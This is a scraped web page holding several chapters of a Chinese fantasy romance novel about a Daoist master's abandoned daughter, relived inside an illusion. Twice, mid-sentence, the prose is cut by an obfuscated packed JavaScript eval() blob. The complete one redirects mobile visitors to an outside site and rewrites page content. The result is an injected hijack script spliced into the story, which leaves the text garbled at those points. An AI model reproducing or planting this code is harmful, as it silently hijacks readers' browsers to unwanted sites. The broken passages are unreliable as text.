“天一道长?” 沈灵均清了清嗓子,沉声道,“居士认得贫道?” “道长本领高强,护佑一方安宁,南安县何人不识。” 季月心念电转,眼前这人看起来不过三十多岁,想来不是蛟龙化身,而是货真价实的天一道长。 沈灵均打量这女子,眉如远山,目含秋水,虽有风霜困苦之色,仍是个不折不扣的美人。 他肃然道,“居士一片孝心,三清大帝必能感知你的心意。” “听闻道长四处云游,行踪不定,今日得见,实在有缘。道长可愿去我家中做场法事,驱除邪祟,好让家母速速痊愈?” 沈灵均僵了僵,“贫道不会治病,令堂身体有恙,应当去请大夫。本县有位薛神医,医术高明……” 那女子讶然,“薛神医?从未听说过。” 沈灵均一怔,随即醒悟。二十年前薛神医刚刚开始行医,离他名声大噪,还有数年之久。 那女子虔诚道,“我请了大夫,也请了算卦先生,去过积善寺拜菩萨,也来无求观拜天尊,凡是能请的,能求的,都求了一遍,总有一处能灵验的。” 沈灵均语塞,看来这姑娘信仰不坚,毅力却十足。 “求道长跟我走一趟。我家离这儿不远,就在燕回巷卢府,若道长肯出手相助,必倾全府之力酬谢!” 沈灵均淡然道,“道家讲究清静无为,令堂若天年未尽,自会转危为安。” 女子秀眉紧蹙,连连叩头,“求道长发发慈悲吧!” 沈灵均满心想着如何脱此困境,觉得多一事不如少一事,拂尘一摆,“居士请回。” 季月感到额头在冰凉的大殿地板上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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望着卢姑娘离去的背影,他的心提到了嗓子眼。果然,当她再次跨出山门那一刻,天旋地转,日月倒悬,世界化为一团虚影。 季月第三次爬到山门的时候,腿肚子抽筋,心如死灰,暗地里把天一道长咒骂了八百遍。 人家卢姑娘诚心诚意请他出手相助,怎么就不能屈尊去一趟?好歹把她从这永无止境的山道上解救出来啊! 要是他真的死不松口,她岂不是要在幻境中耗到地老天荒? 好在这一次,沈灵均终于开了窍。 他垂眼看着卢姑娘跪在地上,哭得梨花带雨,连连恳求。 看来不答应她,这一关是无论如何都过不去的。 他长叹一声,揉了揉额角,“也罢,我就随你去一趟。” 季月看在眼里,忽然心中一动,他这动作怎么如此熟悉,简直和沈灵均一模一样。 卢姑娘喜出望外,“多谢道长!道长请随我来。” 她像蝴蝶扑向花丛那样,朝天一道长奔去,奔了两步,突觉不妥,堪堪停住。 一双明眸又羞又怯地在道长脸上打转。 沈灵均拂尘一摆,示意她前方带路。 两人并肩同行。越过目瞪口呆的小道童,走向山门。 眼看卢姑娘的绣鞋抬了起来,跨过了门槛。 沈灵均和季月双双屏息默念,别倒回去,别倒回去! 刹那间,天旋地转,日月倒悬,世界化为一团虚影。 季月眼前一黑,脑海中飘过两个字,完了。 75. 蛟龙潜于渊(二) 季月忐忑地醒过来。 眼中所见是深秋的夜空,月明星稀,晚风吹过山石,发出呜呜的怪声。 身上多了一件毛领披风,领口没有扎紧,丝丝寒意,直往脖子里钻。 她松了口气。看来第一关是过了。 卢姑娘站在一块大石头旁,显然在等什么人。季月感觉到腿脚发酸,看来她已经等了很久。 是什么人,让她深更半夜,独自来到这荒芜的西山上? 很快就有了答案。 一道修长的身影,从曲折山路上奔下来,快得像一阵风。 卢姑娘低呼一声,迎上前去。 “道长!” 季月无语,这两人,还真的勾搭上了。 天一道长的打扮和上次无异,仍穿着那件单薄的靛蓝色道袍。清冷月色下,他眉目柔和,伸手轻轻扶住卢姑娘,“让你久等了。” 卢姑娘晕生双颊,浅浅一笑,“道长肯来赴约,就是懂得我一片痴心了。” 季月始料未及,短短数月,两人之间就发展到这个地步了? 天一道长僵在原地,似乎不知如何是好。卢姑娘自然而然地揽住他的胳膊,引他坐到那块大石头上。 两个人头靠着头,一起望向月亮。 季月暗暗摇头,在这又冷又黑的地方相会,实在委屈了卢姑娘。 可她似乎并不介意,絮絮地诉说相思,“上次一别,又过去了七天。你可有想我?” 傻子都知道,姑娘这样问,该如何回答。天一道长显然比傻子还不如,苦思冥想了半天,憋出一个字,“有。” 卢姑娘道,“你那三场法事一做,我娘的身子骨已大好了,今日还和我们姐妹一起踢毽子,跳皮筋呢。” 沈灵均目瞪口呆,听这姑娘的意思,师父真的去做了法事,而且还奏效了。这本事他怎么从没教过我? 卢姑娘幽幽道,“她既然已经病愈,就没理由再劳动道长。” “贫道只是尽了绵薄之力。令堂福泽深厚,你又一片孝心,这才感动上苍。” “上回的谢礼,道长用得如何?” 沈灵均哪里知道谢礼是什么,只得含糊道,“甚好,甚好。” 谁知卢姑娘倒吸了一口气,伸手在他胳膊内侧掐了一把,“打死你个没良心的。” 她的长指甲掐进肉里。沈灵均嘶了一声。 若被季月这么掐一下,自然是甘之如饴,可被这不相干的卢姑娘掐一下,就疼得很了。 这幻境中发生的事,不知是真是假。当年,真的有人这样掐过师父吗? 转念一想,若是真的,以他那个暴烈脾气,还不当场发作,置别人于死地? 像卢姑娘这样的纤弱女子,一掌能打死十个。 想到此处,不由打个寒战。 卢姑娘立刻关怀道,“你冷么?” “无妨。” 卢姑娘眼波流转,“你若是觉得冷,可以……靠过来些。” 沈灵均暗暗发愁,这一关到底该怎么过。难道真要与卢姑娘做些情情爱爱之举?别说他做不出来,天一道长一生视男女之情为修道大忌,怎么会和女子结下私情呢? 他迟疑道,“我是修道之人,不可破戒沾染尘缘。” 卢姑娘一怔,面红过耳,低下头,声音几不可闻,“那你还对我做下那种事……” 沈灵均惊出一声冷汗。师父到底对人家做了什么? 季月要是能说话,早就破口大骂了,这个天一道貌岸然,必是借着做法事的名义,占了人家姑娘的便宜。 卢姑娘见天一道长久久不语,脸色一变,凄然道,“我岂不知你有苦衷,这根簪子是我亲手做的,请收下。” 她从怀中掏出一根桃木簪,月色下,只见通体乌黑,色泽莹润,簪子头上刻着一个小小的“昭”字。 女子闺名,除了家人之外,外人无从知晓。卢姑娘此举,几近私定终身了。 沈灵均见她一往情深的模样,心中警铃大作。 “卢姑娘,沈某……贫道并非良人,不能接受你的好意。” 季月吓了一跳。这个天一道长,怎会自称“沈某”? 是她听错了? 卢姑娘神色惨然,硬要把簪子塞到他手里,“你把它拿去,日后得道飞升之时,别忘了我这个苦命女子。” 沈灵均展开身法,瞬间就到了五步之外,“卢姑娘,恕贫道不能再留在此处。盼你早日觅得佳偶,一生平安喜乐。” 他转身走了。卢姑娘呆呆地坐在石头上,眼泪在脸上渐渐风干。月亮隐入云层,秋风萧瑟,她单薄的身子一动不动,几乎和大石融为一体。 季月徒劳地催促,“快走吧,别坐在这里受冻了!世上男人多得很,何必在一棵树上吊死呢?” 刹那间,天旋地转,日月倒悬,世界化为一团虚影。 沈灵均睁开眼,发现自己回到了漆黑的山道上,正在疾行。头顶月明星稀,风在乱石间吹拂,发出呜呜声。 深更半夜,天一道长独自溜出无求观,下山赴约,由于心中急切,走得飞快。 看来只要拒绝卢姑娘,就会回到这里。像上次一样,要顺了她的意,才能过这一关。 他暗暗叹气。感情之事,一旦开了头,往往一发不可收拾。既然松口答应去卢府做法事,就注定会走到这一步。 心中喜忧参半。喜的是,已经大致摸清了这幻境的路数,只要把卢姑娘哄开心了,就能过关,忧的是,即使收下发簪,以天一道长的身份,怎能真的和卢姑娘做夫妻? 师父一生严守清规戒律,对任何逾矩的行为深恶痛绝。若为情所困,天一就不是天一了。 在这幻境之中,只能走一步看一步。 到了相约的地方,卢姑娘欣喜地迎上来,软语温存,含情脉脉,仍要他收下这定情信物。 桃木簪小小一支,躺在卢姑娘掌心,却似有千钧重。 沈灵均咬咬牙,伸手去接,“多谢卢姑娘。” 卢姑娘却合拢掌心,让他接了个空。她水汪汪的眼睛注视着他,“我把闺名都告诉你了,你还叫我卢姑娘?” “……昭昭。” 卢姑娘抿嘴一笑,容颜娇美,月色之下,恰似夜明珠一样璀璨夺目。 “你把头低下,我要亲手给你簪上。” 纤纤玉指抚上天一道长的发髻,摸索了几下,找准位置,将桃木簪一点点插进发髻。 两人相距不过数寸,呼吸相闻,沈灵均闻到她身上传来一阵白梅幽香。 他又想起季月。她身为花妖,身上香味却不明显,平时接近她,只能闻到妖气,实在有些煞风景。 忍不住脱口而出,“你这熏香,是从何处得来的?” 卢姑娘笑道,“好闻么?你若喜欢,今后我只用这一味香。” “我……是替别人打听。” 卢姑娘的笑容僵在脸上,“什么人?是男是女?” 沈灵均语塞,天一道长幼年离家,尘缘断绝,孑然一身,想杜撰个女眷都杜撰不出来。 “神巫署有位长官,喜好制香,尤其偏爱清冷的味道。” 卢姑娘瞪着他,半 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站起身,视野变矮了,低头一看,指骨短小,指头浑圆,分明是四五岁孩童的小手。 她这回掉进孩子的身体了? “咕”,肚子响亮地叫了一声。 原来头晕心悸,是饿出来的。 这孩子跌跌撞撞地走进三清殿,里面青烟袅袅,几名道士正在打坐。 “师兄,我饿!” 靠门口最近的道士赶紧做了个噤声的手势。 看起来,里面正在举行什么重要的仪式,不许别人打扰。 孩子可管不了那么多,更大声地喊道,“我快饿死啦!” 那道士皱了皱眉,躬着身子跑出来,将她一把抓过,带到门外。 “不是给你粥喝了吗?” 孩子手抚肚子,喃喃道,“不够啊。” 道士像捉小鸡似地提起她,拎到厨房。 厨房里冷锅冷灶冷馒头,没有一丝烟火气。 道士摸出半个烧饼,塞到她手里,“把这个吃了垫一垫,要是还觉得饿,就闷头睡一觉,别去打扰师长他们。惹恼了,你连柴房都没得睡了。” 那半个烧饼硬邦邦的,上头的芝麻粒都蹭掉了,还沾着几缕道袍上的棉絮。季月看得直皱眉。那孩子却毫不在乎,拿过来就啃,看来真是饿得狠了。 道士摸了摸她的头,又去倒了半碗凉水,“慢点吃,别噎着了。” 孩子咕嘟咕嘟地喝下,冰凉的水一激,肠胃立刻绞痛起来。 “师兄,我肚子痛!” “怎么那么麻烦!”道士粗暴地把她翻了个面,用力拍打后背,“好点没啊?” 孩子骨头软,又是常年吃不饱饭的,哪经得起这样重手拍打,一下子扑跌在地,蹭了一鼻子灰。 她可怜兮兮道,“不……不疼了,师兄你回去吧。” 季月气得不行。这孩子本来只是肚子疼,现在肚子和后背一起疼。这道士真是个大老粗,哪能这样笨手笨脚地照顾小孩? 她仔细端详道士的脸,突然想起来了,第一关的时候,曾在无求观内见过他。那时他自己还是个半大孩子,躬身向天一道长行礼。 此时的他眉眼没怎么变,身材却拔高许多,下巴上长了一圈青青的胡茬,看起来约莫二十岁年纪。 莫非这幻境之中已经过去了数年? 这数年间,天一道长去了哪里,卢姑娘又去了哪里? 76. 蛟龙潜于渊(三) 沈灵均茫然站在无求观门口。纷纷扬扬的雪花直往脸上飘。 怎么又回到这里?难道这幻境受方位所限,离不开西山的范围? 朔风一激,咳了两声,胸口有些隐隐作痛。师父这是刚打了一场架,伤还没好全? 伸手进怀里一探,摸到一堆法器,捆妖索、绊妖刺、震妖铃,都是师父早年爱用的,后来他功力渐长,用不上这些了,就一股脑儿送给了沈灵均。 看来天一道长仍然过着云游奔波的日子,并没有与卢姑娘喜结连理。 沈灵均虽有些怅然,也松了口气。他自己决意抛弃一切,和季月在一起,可多年耳濡目染,胸中成见依然顽固,总觉得修道之人,不该沾染情缘。 踏雪朝观中走去,只见一个道士抓着个四五岁的小孩子,急急忙忙地往外走。 见到他,两下怔住。 那道士半张着嘴,脸上神色变幻,先是惊讶,后是欣喜,再后来激动得要哭出来似的,语无伦次道,“道长您女儿回来了!” 沈灵均一愣,这都什么跟什么呀? “哎哟,不对,道长您终于回来了!这是您的女儿啊!” 那道士拼了命地把孩子往天一道长身边推,小女孩吓坏了,一个劲地往后缩。 沈灵均细看那孩子容貌,眼睛鼻子脸型,像是和卢姑娘一个模子里刻出来的,再看她头顶发髻上,插着一根桃木簪,正是卢姑娘当年送的定情信物。 脑中轰地一声,热血上涌。 师父不但沾染了情缘,还和卢姑娘生出孩子来了?! 那道士揉了揉眼睛,“天一道长,您一去就是五年,音讯全无,我们观中条件简陋,孩子寄住在这里,受了不少委屈。天可怜见,总算把您给盼来了。” 沈灵均双腿微微发软,“究竟发生了何事?这孩子的母亲呢?” “您还不知道吧?那年冬至刚过,卢姑娘的丧事一办完,她家里人就把这孩子用襁褓裹了,扔到观门口。孩子命苦,在大雪中冻了一夜,才被我们发现,捡回来的时候,都以为活不了了呢。” 季月心中一颤,眼前浮现出卢姑娘的笑颜。那夜明珠般璀璨的女子,竟然年纪轻轻就死了? 沈灵均怔了半天,蹲下身,柔声问那孩子,“你还记得娘亲吗?” 孩子肚子痛得厉害,牙关打颤,连连摇头。 沈灵均把手掌贴在她背心,一股柔和的内力缓缓透入,不过片刻,孩子的眉头就舒展开来,脸上也有了血色。 她睁开眼睛,看着眼前这个长相可怕的陌生男人,心中畏惧之情渐消。 那道士从旁看着,生怕天一道长不要这个女儿,拼命撺掇,“昭昭,快叫爹!” 沈灵均奇道,“怎么回事?她也叫昭昭?” 那道士尴尬地解释,“卢家人没给她起名,襁褓里只有一根桃木簪,簪子头上刻了个昭字……道长喜欢什么字,给她另起个名字就是了。” 沈灵均心头微微有气。寻常人家养只小猫小狗,还会起个吉利的名字,更何况一个孩子。无求观收养昭昭,看来只是不想背上见死不救的骂名,实属迫不得已,对她没有半点真心。 卢昭昭眨巴着眼睛,好奇地打量着天一,到底不敢开口叫爹。 沈灵均摸了摸她瘦削的小脸,爱怜之心横生,一把抱起来,放在自己肩上,转身向山门外走去。 他要去卢府讨个说法。 下山之路走得出奇顺利,好像一眨眼就到了。看来之前的猜测有误。这幻境并不限于西山,还可以扩展到别的地方。 大雪纷纷,路上行人稀少,街道两旁的景致似曾相识,沈灵均走了一会儿才意识到,这是他出生以前的南安县。 童年模糊的记忆逐渐苏醒。在那个无忧无虑的年纪,他也像别的孩子一样,骑在父亲肩膀上,出门闲逛。看到什么新奇的事物,便兴奋地大声嚷嚷,央求母亲买给他。 往往是全家轻装简从而出,满载而归。 体内涌起一股暖流,灼痛了五脏六腑。 一只软软的小手拍在脸上。 回头一看,昭昭一双大眼睛正滴溜溜地注视着他,“你走得好快呀!” “是不是颠得难受了?那我走慢些。” 昭昭摇摇头,缩起脖子,像只小鸟一样,往他衣领里钻,“冷……” 沈灵均看她衣衫单薄,皱起眉头,“无求观的道士怎么不给你穿件厚衣服?” “不知道。我想吃糖人。” “好,我给你买。” 沈灵均话说出口,才想起师父有个恶习,出门从不带钱。 往怀里一掏,果然只有一些捉妖法器,和火折子、符纸等物。 没法子,只好豁出这张老脸,求店家施舍一串了。南安县的居民见了捉妖师,还是肯给面子的。 可惜走了一路,并没有找到卖糖人的小摊,或许是天寒地冻,摊主都躲在家里,懒得出门做生意了。 眼看燕回巷就在前面,沈灵均拍了拍昭昭的头,安慰道,“一会儿再买给你。” 卢府门口立着两个门童,正缩着脖子瑟瑟发抖,见到天一道长,都像见到鬼似的,脸色齐刷刷地白了。 沈灵均懒得与他们啰嗦,一掌劈向大门。天一道长此时的功力已十分精纯,寻常的木门哪里经得起这一下,直接爆裂开来。两个门童高声叫嚷,转身向府中奔逃。 沈灵均厉声道,“让家主出来说话。” 季月掉进这饿得半死的小女孩的身体,觉得憋屈得很,干脆闭上眼睛睡了一路,此时才被巨响惊醒,茫然四顾。 只见卢府之中,一派肃穆寂静,院中积雪比街道上还厚,根本无人洒扫。屋檐上挂着冰柱,门里黑漆漆的没有亮光,整个府中跟雪洞似的,了无生气。 过了半晌,才有一个须发皆白的中年男人,由下人搀扶着走出来。 他用一根颤巍巍的手指,指向天一道长,怒容满面,“你……你又来做什么?” 沈灵均把昭昭放在地上,“你就是卢老爷?这小女孩是你做主扔出去的?” 卢老爷望着昭昭的面容,略一恍神。那眼睛鼻子,简直和小女儿幼年时候一模一样。 “她身上流着卢家的血,你们怎么忍心对她不闻不问?” 卢老爷心中一阵绞痛,“这话应该我问道长才是。你害死我妻女两条人命,怎么还有脸来兴师 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卢老爷须发皆张,抄起一根扫帚,胡乱地向他挥舞,“滚!别再让我见到你!打死你这伤天害理的假道士!” 卢昭昭吓得高声尖叫。 沈灵均无奈,一手抱起她,捂住她的耳朵,逃也似地离开了。 一路上,谁也没有说话。季月觑着天一阴晴不定的脸色,不停地暗骂他抛弃妻女,良心被狗吃了。 若非他一走了之,卢姑娘何至于年纪轻轻就没了命,昭昭何至于流落道观,吃尽了苦头。 沈灵均心中亦是思潮起伏,卢老爷恨透了昭昭,无求观的道士又巴不得甩掉这个包袱。可天一道长四处云游,时刻准备出生入死,总不能带上这孩子一起冒险。 这偌大的人间,难道任她孤苦伶仃,四处漂泊? 他漫无目的地乱走,雪越下越大,渐渐连远处的店招都看不清楚了。 不知过了多久,耳边传来一道稚嫩的声音,“爹,这条路已经走了第四次了。” “哦,我找找有没有卖糖人……你刚才叫我什么?” “叫你爹啊。”昭昭绞着小手,“从来没有人抱过我这么久,你一定是我爹。” 沈灵均转头,对上那双黑白分明的大眼睛。 “爹,什么是孽种啊?” “……那是你外祖父气糊涂了,乱说的。昭昭不是孽种。” 昭昭眨巴着眼睛,似懂非懂。 季月大叫,“臭道士,你还不带她回家?谁生的孩子谁养啊!甩给别人算怎么回事?” 沈灵均默然半晌,下定了决心。 昭昭的身世太可怜了,不能放着不管。 这幻境代表了卢姑娘的心愿。她一定希望自己的女儿和亲生父亲团聚。 于情于理,都应该把昭昭带走。 他低声道,“昭昭乖,以后爹去哪儿,你就去哪儿,再也不会让你挨饿受冻。” 昭昭甜甜地笑了起来,眼睛弯成月牙。她的门牙缺了一颗。笑起来的样子,和她母亲一模一样。 风雪转急,模糊了视线,刹那间,天旋地转,日月倒悬,世界化为一团虚影。 77. 蛟龙潜于渊(四) 沈灵均怎么也想不明白,这一关怎么就过不去了。 将昭昭带离卢府以后,无论往哪个方向走,不出半个时辰,必定倒回开始的场景,回到无求观。 他试了很多办法,一下山先带昭昭去买衣服,让她穿暖和。穿过大半个南安县,买糖人给她吃。或者干脆不去卢家,直接带她往城外走。 最后都以失败告终。 他百思不得其解。有了前两关的经验,他已经明白在这幻境中,一切要依着卢姑娘的心意来。按理说,他竭尽全力,把昭昭哄高兴了,应该轻松过关啊。 可每一次昭昭的笑颜消失后,他又会回到原点。 如此重复十几遍,沈灵均终于崩溃了,蹲下身,苦着脸问昭昭,“小祖宗,你到底想要什么?” 季月比他更崩溃。她困在昭昭身体里的时间,已经比困在她母亲身体里更久了。天一道长那张脸,已经看得不想再看。沈灵均百般尝试的时候,她也在绞尽脑汁,思考怎么做才能过关。 孤苦伶仃的小女孩遇到了亲生父亲,终于过上有人疼有人爱的日子,明明应该欢欣鼓舞才是。为何不急着奔向新生活,反而一次又一次回到过去呢? 到底是哪里不对。 卢昭昭不明就里地看着天一道长,伸出软软的小手,去揪他脸上的胡茬。 沈灵均深吸一口气,强迫自己冷静下来。 “我们从头捋一遍。” 季月默默点头。 沈灵均道,“我云游归来,发现自己有个女儿。” “不错,你个没良心的。” “孩子明显受了很多苦。” “都怪你。始乱终弃,没有担当。” “只要不是铁石心肠,必定会带着孩子去讨说法。” 季月沉吟道,“是啊。到这一步,应该是没走错的。” “卢老爷不肯要昭昭。虽然狠心,也情有可原,毕竟他失去了两位至亲。此事是我亏欠他们在先。” 季月奇道,“咦,你这臭道士,怎么突然懂得反省了?” “既然昭昭无处可去,就只有跟着我了。昭昭,你可愿意跟着我?” 昭昭甜甜一笑,“愿意。” “跟着我就要四处奔波,居无定所。” “我不怕。” “你要是有什么别的想法,尽管说出来,爹绝不会怪你的。” 昭昭伸出藕节似的胳膊,圈住天一道长的脖子,“昭昭很听话的,爹,你别不要我。” 季月暗暗叹气道,“除此之外,还能有什么别的选择呢?” 沈灵均出神地看着漫天大雪,突然脸色一白。 有的。 他一路上都按自己的想法行事,才会想当然地以为,没有别的选择。若他忘记自己,代入天一道长的身份,就会发现之前忽略掉的事。 天一道长一生独来独往,怎么会有妻女。 就算昭昭是他的骨血,他也不会认下这个孩子。神巫署的官职,捉妖的大业,才是师父一生所爱。 想通了这一层,忽然觉得寒意透骨。 原来自己错在这一步。 继续以天一道长的身份往下想,昭昭寄住在道观,也不成体统。 这不是明摆着告诉世人,他曾经耽于女色,破过戒,多年修持毁于一旦么? 就算无求观的道士肯替他遮掩,孩子能说会动,越长越大,这个秘密早晚被世人知道。 要想保全清誉,就不能让昭昭留在观里。 这么一来,她只剩一个地方可去了。 沈灵均拉开昭昭,看着她稚嫩的小脸,一阵心疼。 原来幻境为她设定的路,根本不是通往幸福的路。 而她年纪幼小,懵懂无知,完全无力反抗残酷的命运。 昭昭察觉到他神情有异,关切道,“爹,你怎么了?” 沈灵均深吸一口气,逼自己硬起心肠,“昭昭乖,爹带你去个地方。” 他抱起昭昭,转身往燕回巷走去。 风雪突然变小了,前路逐渐清晰,似乎幻境在鼓励他前行。 昭昭却不安地扭动着。这孩子有记路的天赋,即便在风雪之中也能辨明方向。 “爹,我们怎么又回来了?” “……我们去和你外祖父道个别。” 昭昭小嘴一扁,“我害怕。” “没事。外祖父不会吃人的。” 季月摸不着头脑,跟那抛弃昭昭的卢老爷,还有什么可说的? 卢府的大门仍然敞着,满院都是雪。沈灵均抱着孩子长驱直入。 大厅里点着白蜡烛,卢老爷佝偻着背,坐在太师椅上,老泪纵横。他身后摆了两个牌位。季月眼尖,一眼就看到上面的字:爱妻卢府萧氏之位、爱女卢昭之位。 卢老爷见到天一道长去而复返,一个激灵站起来,去捡地上的扫帚。 “你这恶道,又来做什么?” 沈灵均板着脸,将昭昭抱到牌位前,捉住她两只小手,分别拜了拜。 “这是你外祖母,这是你母亲。” 卢老爷用一只颤抖的手捂住脸。 沈灵均放下昭昭,推了推她的背,“乖,去拜拜外公。” 昭昭往他身后缩了缩,显然不肯过去。 沈灵均沉声道,“卢老爷,方才不知原委,多有得罪。贫道此来,有个不情之请。” 卢老爷早就猜到他要说什么,斩钉截铁道,“不可能。卢某曾向列祖列宗发誓,绝不会收留这个孽种。” 昭昭哇地一声哭了出来。 沈灵均一甩拂尘,“贫道修习玄门正宗,有通天彻地之能,必能劝服卢家列祖列宗,忘记你的誓言。” 卢老爷倒退两步,“你……你竟想恃强行凶?来人呐,去衙门报官!” 沈灵均冷笑一声,“衙门?知县大人每回见了我,都要恭敬行礼呢。” “这世上难道没有天理了?” “昭昭身上留着卢家的血,这就是天理。你必须收留她,养到成年,吃穿用度,不能有丝毫怠慢。” 卢老爷气得浑身哆嗦,“你做梦!” 沈灵均一掌挥出,击中大厅中央的八仙桌,那桌子本是上等梨花木所制,在掌力之下,顷刻间碎成一堆粉末。 卢老爷呆呆地望着小山似的木屑。 沈灵均威胁道,“这一掌若是打在人的身上,可不好受。” 不等他反应,第二掌拍出,对准了卢老爷坐过的那张太师椅。椅子步桌子后尘,当场碎成了末。 “卢老爷再不醒悟,这府中可就什么也不剩了。” 卢老爷瞪着天一,眼神中流露出刻骨的恨意,“老夫就是粉身碎骨,也不会遂了你的心意。” 沈灵均收回手掌,理了理拂尘,“若我记得不错,卢昭还有个姐姐,她如今身在何处啊?” 卢老爷脸色骤变,“你……你别去祸害小彤!” “哼,这世上,又有何人能逃出我的手掌心。” 卢老爷心底冰凉。这恶道士本领通天,威望又高,而且心狠手辣,什么事都做得出来。小彤是他在这世上唯一的亲人了,他绝不能再失去她。 他偷偷瞥了一眼昭昭,如见鬼魅,迅速移开目光。 “想清楚了吗?” 卢老爷整个人像被抽掉了骨头,软倒在地,捂住脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149399|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,惨然道,“……你把她留下吧。” “甚好。” 沈灵均没有再看昭昭一眼,大踏步而出。昭昭迈着两条短腿,拼了命地追出去。 季月早就气得七窍生烟,恨不得抓住天一道长痛打一顿。 推亲生女儿入火坑。这个臭道士当真是没有心肝。 靛蓝色道袍的衣角消失在大门外。 方才还触手可及的亲人,转眼就抛弃了她。昭昭哭喊着“爹爹”,摔倒在雪地里,另一颗门牙也磕掉了,鲜血和着眼泪,流成一条蜿蜒的小河。 卢府的下人早就吓破了胆,躲得远远的。过了一会儿,卢老爷颤颤巍巍地走出来,对着她小小的身子啐了一口。 沈灵均迈着沉重的步子,走在空荡荡的街上。 他知道卢老爷极不情愿养育昭昭,若非用武力威胁,他绝不会屈服。 只是这样一来,昭昭以后在卢府的日子,必然不会好过。 举头望天,大雪不知何时停了,云层中,透出一缕微弱的阳光。 他眉头紧锁,喃喃道,“卢姑娘,这就是你想要的结果吗?” 刹那间,天旋地转,日月倒悬,世界化为一团虚影。 季月醒过来,眼前一片漆黑。 怎么什么都看不见?难道这一回,卢昭昭瞎了? 身体猛地翻转,紧接着,头顶传来钝痛。 哎哟,磕到头了。 伸手在地上摸来摸去,蹭了许多灰后,终于摸到一只火折子。 一星火光亮起,季月重见光明。 她身处一间没有窗户的小室,四周堆满了柴火,留出小小一条空地,转个身都困难。身下一床褥子,好几处都破了洞。空气中一股霉味,角落里,传来吱吱的叫声。 季月心里一寒,卢昭昭竟然与老鼠同眠? 她站起身,火光把纤弱的影子应在柴堆上。季月发现她长高了许多,声音也变得又尖又细,像个成年女子的嗓音了。 “鼠兄莫恼,常言道,世上无不散的宴席。昭昭与你相伴数载,缘分极深,然而你我人鼠殊途,终须一别。” 角落里吱吱两声,像在回应,紧接着,季月看到一只通体灰色的肥老鼠,从柴堆里钻了出来。 它爬到卢昭昭脚边,鼻子蹭来蹭去。 卢昭昭蹲下身子,在它背上轻抚,“鼠兄,日后没有我罩着你,小心别被胖厨子捉了去,剁成肉馅。” 季月注意到她手上有许多细小的伤痕,有的是刀割的,有的是火燎的。 看来卢家一直把她当下人使唤。 肥老鼠一听肉馅两字,嗖地一声,钻进角落不见了。 卢昭昭拍了拍手,从地上捡起一个打好的包袱,熄灭火光,走出门。 这是一个明月夜,院子里一草一木清晰可见。夏日的晚风凉爽,吹在身上甚是舒服。 她回身关上门,自言自语道,“这是我最后一晚睡柴房了。小时候在无求观睡柴房,后来在卢府睡柴房。干脆我别叫卢昭昭了,改名叫柴昭昭吧。” 说罢,噗嗤一笑。 季月皱眉。看来昭昭在这里的日子孤独得很,没人和她作伴,只能自己逗自己开心。 昭昭走到院子中间,对着主屋的方向拜了拜,然后跑到花园的假山后头,拽出一把梯子来。 看来她早有准备。 她把梯子架在西边院墙下,步履轻捷地爬上去,再收起梯子,驾到墙外,轻轻松松地逃出了卢府。 这里没有人会想念她的。他们巴不得世上没有她这个人。 卢昭昭望着头顶那一轮满月,忍不住笑出了声。 从今天起,她自由了。 78. 蛟龙潜于渊(五) 旭日东升,卢昭昭瘦瘦小小的影子映在斑驳的石阶上。 小姑娘一蹦一跳地往山上爬,偶然停下来,观察一下路边的大石头。 季月实在是猜不透她在想什么。 又是西山,又是这条凹凸不平的山道,通往建在山壁之中的无求观。 她小时候在那里吃不饱,穿不暖,如今从家里逃出来,又回去做什么? 难道是怀恨在心,要回去报复那群慢待她的臭道士? 看她并没带什么武器,难道要赤手空拳,和他们打一架? 卢昭昭干惯了粗活,体力比她母亲当年好上许多,不一会儿就爬到半山腰,脸不红,气不喘。 从这个角度抬头遥望,可以看到三清殿屋顶上仙鹤铜像,在太阳下闪闪发光。 卢昭昭自言自语,“这样看起来无求观好小啊,跟一片叶子差不多大。” 季月腹诽,“你难道不懂近大远小的道理?何况你在观里住的时候只有四五岁,小孩子眼中看出去,什么都是又高又大的。” 正在此时,怪象陡生。 碧空中划过一道刺眼的闪电,正劈在那仙鹤身上。仙鹤晃了两下,坠下屋顶,不见了。 卢昭昭惊道,“晴天白日,怎么会有闪电?” 第二道闪电又至,在山壁上劈出一个大豁口,石头轰隆隆滚落,砸在观内。隐约听到有人惊呼。 闪电一道接着一道劈下,西方天空之中,一团黑云翻滚着,越变越大,往头顶飘来。 卢昭昭大叫,“不对啊,应该先有乌云,再有闪电啊。” 季月早就认出那是什么东西。“你们人间的闪电是乌云撞出来的。蛟龙要打闪,可用不着什么乌云。” 那黑云越转越急,终于凝聚成型,一条通体银灰的蛟龙从中跃出,盘踞在无求观顶。它头上生着一只独角,周身覆盖闪闪发光的鳞片,脊背突起,四只脚爪利如寒铁,巨口张开,尖齿间淌下的涎水挂在山壁上,状如瀑布。 季月饶有兴致地看着。蛟龙,她在妖界见惯了,太阳好的时候,它们常常在天池里聚众打架,头上的尖角相互撞击,闪电连劈几天几夜,雷声响彻天际,掉落的鳞片能堆出一个岛。 眼前这一头,角和鳞片都是齐全的,看起来又神气又威风。或许和广袤的天池相比,西山只能算一个小土丘,才显得这只蛟龙的体型格外庞大。世间万物都靠衬托,妖也不例外。 她看得有趣,卢昭昭却吓得瑟瑟发抖。 那蛟龙伸出脚爪,在无求观的房顶上随意拨弄了几下,三座大殿像豆腐做的一样,顷刻间东倒西歪,瓦片滚落,如同下了一场暴雨。 观中哭爹喊娘之声更响了,没被瓦片砸中的道士连滚带爬地逃向山门。 蛟龙眼中精光一闪,长长的尾巴划过,在山石上削出一道丈余宽的沟渠,几个道士被尾巴甩上了天,像破布似的,掉到山崖下去了。 卢昭昭大声尖叫,往山上急奔。 季月奇道,“你干什么?不会想去救人吧?就你这细胳膊细腿,还不够给蛟龙剔牙的。” 卢昭昭似乎也想到这一点,奔了几步,便停下来。 